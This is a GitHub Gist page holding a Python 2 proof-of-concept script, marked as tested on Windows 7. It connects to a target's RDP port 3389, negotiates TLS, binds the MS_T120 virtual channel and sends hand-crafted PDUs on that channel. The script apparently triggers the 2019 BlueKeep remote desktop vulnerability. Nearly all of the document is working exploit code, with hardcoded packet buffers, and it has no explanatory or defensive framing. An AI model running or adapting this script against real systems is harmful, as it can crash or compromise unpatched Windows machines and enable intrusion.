Created
May 31, 2019 07:34
-
-
Save nghiadt1098/9d57cb258383d2d01f6c004e7373c467 to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#Tested Win7 | |
import socket, sys, struct, time | |
from OpenSSL import SSL, crypto | |
from impacket.structure import Structure | |
def hexdump(src, length=16): | |
FILTER = ''.join([(len(repr(chr(x))) == 3) and chr(x) or '.' for x in range(256)]) | |
lines = [] | |
for c in xrange(0, len(src), length): | |
chars = src[c:c+length] | |
hex = ' '.join(["%02x" % ord(x) for x in chars]) | |
printable = ''.join(["%s" % ((ord(x) <= 127 and FILTER[ord(x)]) or '.') for x in chars]) | |
lines.append("%04x %-*s %s\n" % (c, length*3, hex, printable)) | |
print ''.join(lines) | |
class TPKT(Structure): | |
commonHdr = ( | |
('Version','B=3'), | |
('Reserved','B=0'), | |
('Length','>H=len(TPDU)+4'), | |
('_TPDU','_-TPDU','self["Length"]-4'), | |
('TPDU',':=""'), | |
) | |
class TPDU(Structure): | |
commonHdr = ( | |
('LengthIndicator','B=len(VariablePart)+1'), | |
('Code','B=0'), | |
('VariablePart',':=""'), | |
) | |
def __init__(self, data = None): | |
Structure.__init__(self,data) | |
self['VariablePart']='' | |
class CR_TPDU(Structure): | |
commonHdr = ( | |
('DST-REF','<H=0'), | |
('SRC-REF','<H=0'), | |
('CLASS-OPTION','B=0'), | |
('Type','B=0'), | |
('Flags','B=0'), | |
('Length','<H=8'), | |
) | |
class DATA_TPDU(Structure): | |
commonHdr = ( | |
('EOT','B=0x80'), | |
('UserData',':=""'), | |
) | |
def __init__(self, data = None): | |
Structure.__init__(self,data) | |
self['UserData'] ='' | |
class RDP_NEG_REQ(CR_TPDU): | |
structure = ( | |
('requestedProtocols','<L'), | |
) | |
def __init__(self,data=None): | |
CR_TPDU.__init__(self,data) | |
if data is None: | |
self['Type'] = 1 | |
def channel_packets(tls): | |
# 4 byte header, 3 byte x224 | |
pkt = '' | |
p1 = b"\x03\x00\x00\x0c\x02\xf0\x80\x04\x01\x00\x01\x00" # ErectDomainRequestPDU | |
tls.send(p1) | |
p2 = b"\x03\x00\x00\x08\x02\xf0\x80\x28" # AttachUserRequestPDU | |
tls.send(p2) | |
pkt = tls.recv(1024) | |
# Rest are Channel Join Requests | |
# 4 byte header, 3 byte x224 | |
p4 = b"\x03\x00\x00\x0c\x02\xf0\x80\x38\x00\x08\x03\xeb" | |
tls.send(p4) | |
pkt = tls.recv(1024) | |
hexdump(pkt) | |
p5 = b"\x03\x00\x00\x0c\x02\xf0\x80\x38\x00\x08\x03\xec" | |
tls.send(p5) | |
pkt = tls.recv(1024) | |
hexdump(pkt) | |
p6 = b"\x03\x00\x00\x0c\x02\xf0\x80\x38\x00\x08\x03\xed" | |
tls.send(p6) | |
pkt = tls.recv(1024) | |
hexdump(pkt) | |
p7 = b"\x03\x00\x00\x0c\x02\xf0\x80\x38\x00\x08\x03\xee" | |
tls.send(p7) | |
pkt = tls.recv(1024) | |
hexdump(pkt) | |
p8 = b"\x03\x00\x00\x0c\x02\xf0\x80\x38\x00\x08\x03\xef" | |
tls.send(p8) | |
pkt = tls.recv(1024) | |
hexdump(pkt) | |
def main(host, channum): | |
tpkt = TPKT() | |
tpdu = TPDU() | |
rdp_neg = RDP_NEG_REQ() | |
rdp_neg['Type'] = 1 | |
rdp_neg['requestedProtocols'] = 1 | |
tpdu['VariablePart'] = rdp_neg.getData() | |
tpdu['Code'] = 0xe0 | |
tpkt['TPDU'] = tpdu.getData() | |
s = socket.socket() | |
s.connect((host,3389)) | |
s.sendall(tpkt.getData()) | |
pkt = s.recv(8192) | |
ctx = SSL.Context(SSL.TLSv1_METHOD) | |
tls = SSL.Connection(ctx,s) | |
tls.set_connect_state() | |
tls.do_handshake() | |
# https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rdpbcgr | |
MS_T120 = "\x4d\x53\x5f\x54\x31\x32\x30" #This gets you to code path in IcaBindVirtualChannels | |
padding = "\x4d\x53\x5f\x54\x31\x32\x30\x00\x00\x00\x00\x00" | |
padding +="\x4d\x53\x5f\x54\x31\x32\x31\x00\x00\x00\x00\x00" | |
buf = ( | |
#--------------------------------------------------------------------------- | |
"\x03\x00" # Header | |
"\x01\xca" # Size | |
"\x02\xf0\x80" # X224 | |
"\x7f\x65" | |
"\x82\x07" # +0xA9 | |
"\xc2\x04" | |
"\x01\x01\x04\x01\x01\x01\x01\xff" | |
#--------------------------------------------------------------------------- | |
# mcsCi variable | |
"\x30\x19" | |
"\x02\x01\x22" #MaxChannelIDs | |
"\x02\x01\x02" #MaxUserIDs | |
"\x02\x01\x00" #MaxTokenIDs | |
"\x02\x01\x01" #Priorities | |
"\x02\x01\x00" #MinThroughput | |
"\x02\x01\x01" #MaxHeight | |
"\x02\x02\xff\xff" #MaxMCSPDUSize | |
"\x02\x01\x02" #ProtocolVersion | |
#--------------------------------------------------------------------------- | |
# mcsCi variable | |
"\x30\x19" | |
"\x02\x01\x01" #MaxChannelIDs | |
"\x02\x01\x01" #MaxUserIDs | |
"\x02\x01\x01" #MaxTokenIDs | |
"\x02\x01\x01" #Priorities | |
"\x02\x01\x00" #MinThroughput | |
"\x02\x01\x01" #MaxHeight | |
"\x02\x02\x04\x20" #MaxMCSPDUSize | |
"\x02\x01\x02" #ProtocolVersion | |
#--------------------------------------------------------------------------- | |
# mcsCi variable | |
"\x30\x1c" | |
"\x02\x02\xff\xff" #MaxChannelIDs | |
"\x02\x02\xfc\x17" #MaxUserIDs | |
"\x02\x02\xff\xff" #MaxTokenIDs | |
"\x02\x01\x01" #Priorities | |
"\x02\x01\x00" #MinThroughput | |
"\x02\x01\x01" #MaxHeight | |
"\x02\x02\xff\xff" #MaxMCSPDUSize | |
"\x02\x01\x02" #ProtocolVersion | |
#--------------------------------------------------------------------------- | |
# gccCCrq variable | |
"\x04" | |
"\x82\x01" | |
"\x61" | |
"\x00\x05\x00\x14" | |
"\x7c\x00\x01" | |
"\x81\x48" | |
"\x00" | |
"\x08\x00" | |
"\x10\x00" | |
"\x01\xc0" | |
"\x00" | |
"\x44\x75\x63\x61" # Duca | |
"\x81\x34" | |
#--------------------------------------------------------------------------- | |
# CS_CORE | |
"\x01\xc0" # Type | |
"\xea\x00" # Length | |
"\x0a\x00\x08\x00" # Version | |
"\x80\x07" # DesktopWidth | |
"\x38\x04" # DesktopHeight | |
"\x01\xca" # ColorDepth | |
"\x03\xaa" # SASSequence | |
"\x09\x04\x00\x00" # KeyboardLayout | |
"\xee\x42\x00\x00" # BuildNumber | |
"\x44\x00\x45\x00"#------ | |
"\x53\x00\x4b\x00"# | | |
"\x54\x00\x4f\x00"# | | |
"\x50\x00\x2d\x00"# | | |
"\x46\x00\x38\x00"# |-- ClientName | |
"\x34\x00\x30\x00"# | | |
"\x47\x00\x49\x00"# | | |
"\x4b\x00\x00\x00"#------ | |
"\x04\x00\x00\x00" # KeyboardType | |
"\x00\x00\x00\x00" # KeyboardSub | |
"\x0c\x00\x00\x00" # KeyboardFunc | |
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"#--- | |
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"# | | |
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"# |--imeFileName | |
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"#--- | |
"\x01\xca" # PostBeta2ColorDepth | |
"\x01\x00" # ProductID | |
"\x00\x00\x00\x00" # SerialNumber | |
"\x18\x00" # HighColorDepth | |
"\x0f\x00" # SupportedColorDepth | |
"\xaf\x07" # EarlyCapabilityFlags | |
"\x62\x00\x63\x00\x37\x00\x38\x00\x65\x00\x66\x00\x36\x00\x33\x00\x2d"#-- | |
"\x00\x39\x00\x64\x00\x33\x00\x33\x00\x2d\x00\x34\x00\x31\x00\x39"# | | |
"\x38\x00\x38\x00\x2d\x00\x39\x00\x32\x00\x63\x00\x66\x00\x2d\x00"# |-- ClientProductID | |
"\x00\x31\x00\x62\x00\x32\x00\x64\x00\x61\x00\x42\x42\x42\x42\x07"# | | |
"\x00\x01\x00\x00\x00\x56\x02\x00\x00\x50\x01\x00\x00\x00\x00\x64\x00"#--- | |
"\x00" # ConnType | |
"\x00" # Padding | |
"\x64\x00\x00\x00" # ServerProtocol | |
"\x04\xc0\x0c\x00" # PhysWidth | |
"\x15\x00\x00\x00" # PhysHeight | |
"\x00\x00\x00\x00" # Some Opt Field? idk | |
#--------------------------------------------------------------------------- | |
# CS_SECURITY | |
"\x02\xc0" # Type | |
"\x0c\x00" # Length | |
"\x1b\x00\x00\x00" # EncryptionMethod | |
"\x00\x00\x00\x00" # Extension | |
#--------------------------------------------------------------------------- | |
# CS_NET - look in to CHANNEL_DEFs? | |
"\x03\xc0" # Name | |
"\x38\x00" # Length | |
"\x05\x00\x00\x00" # ChannelCount - "MAX OF 31" | |
#-- -- -- -- -- -- -- -- -- -- | |
# 1nd channel | |
"\x72\x64\x70\x73\x6e\x64\x00\x00" | |
"\x0f\x00\x00\xc0" | |
#-- -- -- -- -- -- -- -- -- -- | |
# 2rd channel | |
"\x63\x6c\x69\x70\x72\x64\x72\x00" | |
"\x00\x00\xa0\xc0" | |
#-- -- -- -- -- -- -- -- -- -- | |
# 3th channel | |
"\x64\x72\x64\x79\x6e\x76\x63\x00" | |
"\x00\x00\x80\xc0" | |
+ padding | |
) | |
size0 = struct.pack(">h", len(buf)) | |
size1 = struct.pack(">h", len(buf)-12) | |
size2 = struct.pack(">h", len(buf)-109) | |
size3 = struct.pack(">h", len(buf)-118) | |
size4 = struct.pack(">h", len(buf)-132) | |
size5 = struct.pack(">h", len(buf)-390) | |
barr = bytearray() | |
barr.extend(map(ord, buf)) | |
barr[2] = size0[0] | |
barr[3] = size0[1] | |
barr[10] = size1[0] | |
barr[11] = size1[1] | |
barr[107] = size2[0] | |
barr[108] = size2[1] | |
barr[116] = 0x81 | |
barr[117] = size3[1] | |
barr[130] = 0x81 | |
barr[131] = size4[1] | |
barr[392] = size5[1] | |
tls.sendall(bytes(barr)) | |
pkt = tls.recv(8192) | |
hexdump(pkt) | |
print("[+] Init Packet Sent") | |
channel_packets(tls) | |
print("[+] Channel Packets Sent") | |
buf3 = ( | |
"\x03\x00" # Header | |
"\x01\x61" # Size | |
"\x02\xf0\x80" # x224 | |
"\x64" # SendDataRequest | |
"\x00\x07" # Initiator | |
"\x03\xeb" # ChannelID | |
"\x70" # DataPriority | |
"\x81\x52" # mcsSDrq | |
"\x40\x00" # Flags | |
"\xa1\xa5" # Flagshigh | |
"\x09\x04\x09\x04" # CodePage | |
"\xbb\x47\x03\x00" # Flags | |
"\x00\x00" # cbDomain | |
"\x0e\x00" # cbUsername | |
"\x08\x00" # cbPassword | |
"\x00\x00" # cbAlternateShell | |
"\x00\x00" # cbWorkingDir | |
"\x00\x00" # Skip Domain | |
"\x67\x00\x72" # Username | |
"\x00\x31\x00\x7a" | |
"\x00\x7a\x00\x31" | |
"\x00\x79\x00" | |
"\x00\x00" # Seperator | |
"\x74\x00\x65\x00" # Password | |
"\x73\x00\x74\x00" | |
"\x00\x00\x00\x00\x00\x00" # Skip AlternateShell and WorkingDir | |
# TS_EXTENDED_INFO_PACKET | |
"\x02\x00" # clientAddressFamily | |
"\x1c\x00" # cbClientAddress | |
"\x31\x00\x39" # clientAddress | |
"\x00\x32\x00\x2e" | |
"\x00\x31\x00\x36" | |
"\x00\x38\x00\x2e" | |
"\x00\x32\x00\x33" | |
"\x00\x32\x00\x2e" | |
"\x00\x31" | |
"\x00\x00" # Seperator | |
"\x00\x40" # cbClientDir | |
"\x00\x43\x00\x3a" # clientDir | |
"\x00\x5c\x00\x57" | |
"\x00\x49\x00\x4e" | |
"\x00\x44\x00\x4f" | |
"\x00\x57\x00\x53" | |
"\x00\x5c\x00\x73" | |
"\x00\x79\x00\x73" | |
"\x00\x74\x00\x65" | |
"\x00\x6d\x00\x33" | |
"\x00\x32\x00\x5c" | |
"\x00\x6d\x00\x73" | |
"\x00\x74\x00\x73" | |
"\x00\x63\x00\x61" | |
"\x00\x78\x00\x2e" | |
"\x00\x64\x00\x6c" | |
"\x00\x6c\x00" | |
"\x00" #Seperator | |
"\x00\xa4\x01" | |
"\x00\x00\x4d\x00\x6f\x00\x75" #TimeZone | |
"\x00\x6e\x00\x74\x00\x61\x00" | |
"\x69\x00\x6e\x00\x20\x00\x53" | |
"\x00\x74\x00\x61\x00\x6e\x00" | |
"\x64\x00\x61\x00\x72\x00\x64" | |
"\x00\x20\x00\x54\x00\x69\x00" | |
"\x6d\x00\x65\x00" | |
"\x00\x00\x00\x00\x00\x00\x00" #Skipped params | |
"\x00\x00\x00\x00\x00\x00\x00" | |
"\x00\x00\x00\x00\x00\x00\x00" | |
"\x00\x0b\x00\x00\x00\x01\x00" | |
"\x02\x00\x00\x00\x00\x00\x00" | |
"\x00\x00\x00\x00\x00" | |
"\x4d\x00\x6f\x00\x75\x00\x6e" #Timezone | |
"\x00\x74\x00\x61\x00\x69\x00" | |
"\x6e\x00\x20\x00\x44\x00\x61" | |
"\x00\x79\x00\x6c\x00\x69\x00" | |
"\x67\x00\x68\x00\x74\x00\x20" | |
"\x00\x54\x00\x69\x00\x6d\x00" | |
"\x65\x00\x00\x00" | |
"\x00\x00\x00" | |
"\x00\x00\x00\x00\x00\x00\x00" | |
"\x00\x00\x00\x00\x00\x00\x00" | |
"\x00\x00\x00\x03\x00\x00\x00" | |
"\x02\x00\x02\x00\x00\x00\x00" | |
"\x00\x00\x00\xc4\xff\xff\xff" | |
"\x01\x00\x00\x00\x06\x00\x00" | |
"\x00\x00\x00\x64\x00\x00\x00" | |
) | |
barr = bytearray() | |
barr.extend(map(ord, buf3)) | |
tls.sendall(bytes(barr)) | |
pkt = tls.recv(8192) | |
hexdump(pkt) | |
pkt = tls.recv(8192) | |
print("[+] PDU Demand Packet Recieved") | |
hexdump(pkt) | |
print("[+] ClientInfo Packet Sent") | |
buf4 = ( | |
"\x03\x00\x02\x63\x02\xf0\x80\x64\x00\x07\x03\xeb\x70\x82\x54\x54" | |
"\x02\x13\x00\xf0\x03\xea\x03\x01\x00\xea\x03\x06\x00\x3e\x02\x4d" | |
"\x53\x54\x53\x43\x00\x17\x00\x00\x00\x01\x00\x18\x00\x01\x00\x03" | |
"\x00\x00\x02\x00\x00\x00\x00\x1d\x04\x00\x00\x00\x00\x00\x00\x00" | |
"\x00\x02\x00\x1c\x00\x20\x00\x01\x00\x01\x00\x01\x00\x80\x07\x38" | |
"\x04\x00\x00\x01\x00\x01\x00\x00\x1a\x01\x00\x00\x00\x03\x00\x58" | |
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" | |
"\x00\x00\x00\x00\x00\x01\x00\x14\x00\x00\x00\x01\x00\x00\x00\xaa" | |
"\x00\x01\x01\x01\x01\x01\x00\x00\x01\x01\x01\x00\x01\x00\x00\x00" | |
"\x01\x01\x01\x01\x01\x01\x01\x01\x00\x01\x01\x01\x00\x00\x00\x00" | |
"\x00\xa1\x06\x06\x00\x00\x00\x00\x00\x00\x84\x03\x00\x00\x00\x00" | |
"\x00\xe4\x04\x00\x00\x13\x00\x28\x00\x03\x00\x00\x03\x78\x00\x00" | |
"\x00\x78\x00\x00\x00\xfc\x09\x00\x80\x00\x00\x00\x00\x00\x00\x00" | |
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x0a\x00\x08" | |
"\x00\x06\x00\x00\x00\x07\x00\x0c\x00\x00\x00\x00\x00\x00\x00\x00" | |
"\x00\x05\x00\x0c\x00\x00\x00\x00\x00\x02\x00\x02\x00\x08\x00\x0a" | |
"\x00\x01\x00\x14\x00\x15\x00\x09\x00\x08\x00\x00\x00\x00\x00\x0d" | |
"\x00\x58\x00\x91\x00\x20\x00\x09\x04\x00\x00\x04\x00\x00\x00\x00" | |
"\x00\x00\x00\x0c\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" | |
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" | |
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" | |
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" | |
"\x00\x00\x00\x00\x00\x00\x00\x0c\x00\x08\x00\x01\x00\x00\x00\x0e" | |
"\x00\x08\x00\x01\x00\x00\x00\x10\x00\x34\x00\xfe\x00\x04\x00\xfe" | |
"\x00\x04\x00\xfe\x00\x08\x00\xfe\x00\x08\x00\xfe\x00\x10\x00\xfe" | |
"\x00\x20\x00\xfe\x00\x40\x00\xfe\x00\x80\x00\xfe\x00\x00\x01\x40" | |
"\x00\x00\x08\x00\x01\x00\x01\x03\x00\x00\x00\x0f\x00\x08\x00\x01" | |
"\x00\x00\x00\x11\x00\x0c\x00\x01\x00\x00\x00\x00\x28\x64\x00\x14" | |
"\x00\x0c\x00\x01\x00\x00\x00\x00\x00\x00\x00\x15\x00\x0c\x00\x02" | |
"\x00\x00\x00\x00\x0a\x00\x01\x1a\x00\x08\x00\xaf\x94\x00\x00\x1c" | |
"\x00\x0c\x00\x12\x00\x00\x00\x00\x00\x00\x00\x1b\x00\x06\x00\x01" | |
"\x00\x1e\x00\x08\x00\x01\x00\x00\x00\x18\x00\x0b\x00\x02\x00\x00" | |
"\x00\x03\x0c\x00\x1d\x00\x5f\x00\x02\xb9\x1b\x8d\xca\x0f\x00\x4f" | |
"\x15\x58\x9f\xae\x2d\x1a\x87\xe2\xd6\x01\x03\x00\x01\x01\x03\xd4" | |
"\xcc\x44\x27\x8a\x9d\x74\x4e\x80\x3c\x0e\xcb\xee\xa1\x9c\x54\x05" | |
"\x31\x00\x31\x00\x00\x00\x01\x00\x00\x00\x25\x00\x00\x00\xc0\xcb" | |
"\x08\x00\x00\x00\x01\x00\xc1\xcb\x1d\x00\x00\x00\x01\xc0\xcf\x02" | |
"\x00\x08\x00\x00\x01\x40\x00\x02\x01\x01\x01\x00\x01\x40\x00\x02" | |
"\x01\x01\x04" | |
) | |
hexdump(buf4) | |
barr = bytearray() | |
barr.extend(map(ord, buf4)) | |
tls.sendall(bytes(barr)) | |
print("[+] Confirm Active PDU sent") | |
pkt = tls.recv(8192) | |
hexdump(pkt) | |
buf5 = ( | |
"\x03\x00\x00\x24" | |
"\x02\xf0\x80" | |
"\x64" | |
"\x00\x07" | |
"\x03\xeb" | |
"\x70" | |
"\x16\x16\x00" | |
"\x17\x00\xf0\x03\xea\x03\x01\x00\x00\x01\x08\x00\x1f\x00\x00\x00" | |
"\x01\x00\xea\x03" | |
) | |
hexdump(buf5) | |
barr = bytearray() | |
barr.extend(map(ord, buf5)) | |
tls.sendall(bytes(barr)) | |
print("[+] Synchronize PDU sent") | |
pkt = tls.recv(8192) | |
buf6 = ( | |
"\x03\x00\x00\x28" | |
"\x02\xf0\x80" | |
"\x64" | |
"\x00\x07" | |
"\x03\xeb" | |
"\x70\x1a\x1a\x00" | |
"\x17\x00\xf0\x03\xea\x03\x01\x00\x00\x01\x0c\x00\x14\x00\x00\x00" | |
"\x01\x00\x00\x00\x00\x00\x00\x00" | |
) | |
hexdump(buf6) | |
barr = bytearray() | |
barr.extend(map(ord, buf6)) | |
tls.sendall(bytes(barr)) | |
print("[+] Session established, sending channel packet") | |
time.sleep(2) | |
pkt = tls.recv(8192) | |
buf7 = ( | |
"\x03\x00\x00\x22" | |
"\x02\xf0\x80" | |
"\x64" | |
"\x00\x08" | |
"\x03\xee" | |
"\x70" | |
"\x14\x0c\x00" | |
"\x00\x00\x03\x00\x00\x00\x72\x41\x41\x41\x41\x41\x41\x41\x41\x41" | |
"\x41\x41" | |
) | |
p = ( | |
"\x03\x00\x00\x2e" | |
"\x02\xf0" | |
"\x80\x64" | |
"\x00\x07" | |
"\x03\xef" | |
"\x70" | |
"\x14\x0c\x00" | |
"\x00\x00\x03\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" | |
) | |
barr = bytearray() | |
barr.extend(map(ord, buf7)) | |
tls.sendall(bytes(p)) | |
print("[+] Sent") | |
raw_input() | |
p = b"\x03\x00\x00\x09\x02\xf0\x80\x21\x80" | |
tls.sendall(p) | |
print("[+] Sent Terminate") | |
raw_input() | |
exit(0) | |
if __name__ == '__main__': | |
main(sys.argv[1], sys.argv[2]) |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment